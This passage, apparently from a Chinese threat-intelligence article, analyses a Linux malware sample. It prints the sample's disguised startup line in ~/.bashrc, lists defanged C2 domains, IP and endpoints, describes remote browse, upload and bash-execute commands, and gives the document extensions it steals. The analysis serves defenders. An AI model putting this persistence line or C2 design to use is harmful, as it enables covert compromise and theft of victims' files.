249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">~/.bashrc</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">是 bash shell 的配置文件，在 shell 启动时加载并执行其中的预配置指令，</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">~/.profile</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">用于环境变量、用户登录时的初始化操作，增加的指令如下，用于在后台启动样本。</span></span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;"># System update service</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">nohup /home/username/.config/systemd/systemd-update &gt;/dev/null 2&gt;&amp;1 &amp;</span></span></code></pre><h5 style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 600;font-stretch: inherit;line-height: 1.15;font-family: Georgia, Times, serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2rem;margin: 2em 0px 0px;padding: 0px;vertical-align: baseline;text-rendering: optimizelegibility;letter-spacing: -0.01em;grid-column: main-start / main-end;color: rgb(21, 23, 26);orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 17px;">4. 网络通信：支持三个指令</span></span></h5><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">C2 服务器地址为</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“modgovindia[.]space”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，和 Windows 版本的域名</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“modindia.serveminecraft[.]net”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">解析到了相同的 IP 地址</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“101.99.94[.]109”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。具体通信过程如下，首先 HTTP 请求 </span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“<a href="http://modgovindia[.]space:4000/health”" target="_blank">http://modgovindia[.]space:4000/health”</a></span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，判断服务器是否活跃，响应内容中的 service 字段指明了该工具的名字。</span></span></span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><img data-imgfileid="100000492" alt="health.png" class="rich_pages wxw-img" data-ratio="0.27314814814814814" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=42311a7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxK2mSuDicUX5o5OKFHpCvHlhmAQo0UpCGDAtA3Q8Zxs9pPia5Znibpyn1WA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">然后请求</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="http://modgovindia[.]space:4000/commands" target="_blank">http://modgovindia[.]space:4000/commands</a></span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，尝试获取指令，响应内容是 JSON 格式，支持下面三个指令。最后把执行完的命令的结果通过请求</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="http://modgovindia[.]space:4000/command-response" target="_blank">http://modgovindia[.]space:4000/command-response</a></span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">响应给 C2。</span></span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">1）&#39;browse&#39;</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">遍历指定目录下的文件列表，响应内容中的 &#39;path&#39; 字段指示了目标路径。</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">2）&#39;upload&#39;</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">上传指定文件。</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">3）&#39;execute&#39;</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">执行 bash 命令。</span></span></code></pre><p><span leaf="" style="background-color:rgb(255, 255, 255);color:rgb(21, 23, 26);font-size:15px;font-family:-apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing:normal;font-style:normal;font-weight:400;"><span textstyle="" style="font-size: 17px;font-weight: bold;">5. 窃取文件</span></span></p><p><span leaf="" style="background-color:rgb(255, 255, 255);color:rgb(21, 23, 26);font-size:15px;font-family:-apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing:normal;font-style:normal;font-weight:400;">从根目录/开始遍历，搜索所有如下后缀的文件。</span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">.pdf</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">.doc</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">.xls</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">.ppt</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">.txt</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">.zip</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">.rar</span></span></code></pre><p style="text-align: left;"><span leaf="" style="background-color: rgb(255, 255, 255);color: rgb(21, 23, 26);font-size: 15px;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;font-style: normal;font-weight: 400;">当遍历到上述后缀的文件，首先发送一个 GET 请求通知服务器，X-Username 字段是当前用户的名字。</span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><img data-imgfileid="100000493" alt="status-file.png" class="rich_pages wxw-img" data-ratio="0.2972222222222222" data-type="png" 